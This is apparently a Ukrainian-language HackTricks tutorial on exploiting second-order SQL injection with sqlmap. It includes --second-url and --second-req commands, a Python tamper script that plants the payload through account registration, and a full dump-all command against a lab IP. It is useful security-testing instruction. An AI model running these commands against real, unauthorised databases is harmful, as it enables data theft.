tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
SQLMap може експлуатувати другорядні SQL-ін'єкції.
Вам потрібно надати:
- запит, в якому буде збережено payload SQL-ін'єкції
- запит, в якому payload буде виконано
Запит, в якому зберігається payload SQL-ін'єкції, вказується так само, як і в будь-якій іншій ін'єкції в sqlmap. Запит, де sqlmap може прочитати вихід/виконання ін'єкції, можна вказати за допомогою --second-url
або --second-req
, якщо потрібно вказати повний запит з файлу.
Простий приклад другого порядку:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
В кількох випадках цього буде недостатньо, оскільки вам потрібно буде виконати інші дії окрім надсилання payload та доступу до іншої сторінки.
Коли це потрібно, ви можете використовувати sqlmap tamper. Наприклад, наступний скрипт зареєструє нового користувача використовуючи sqlmap payload як електронну пошту та вийде з системи.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
SQLMap tamper завжди виконується перед початком спроби ін'єкції з payload і він повинен повернути payload. У цьому випадку нас не цікавить payload, але ми хочемо надіслати кілька запитів, тому payload не змінюється.
Отже, якщо з якоїсь причини нам потрібен більш складний процес для експлуатації другої ін'єкції SQL, наприклад:
- Створити обліковий запис з SQLi payload всередині поля "email"
- Вийти
- Увійти з цим обліковим записом (login.txt)
- Надіслати запит для виконання SQL ін'єкції (second.txt)
Ця команда sqlmap допоможе:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.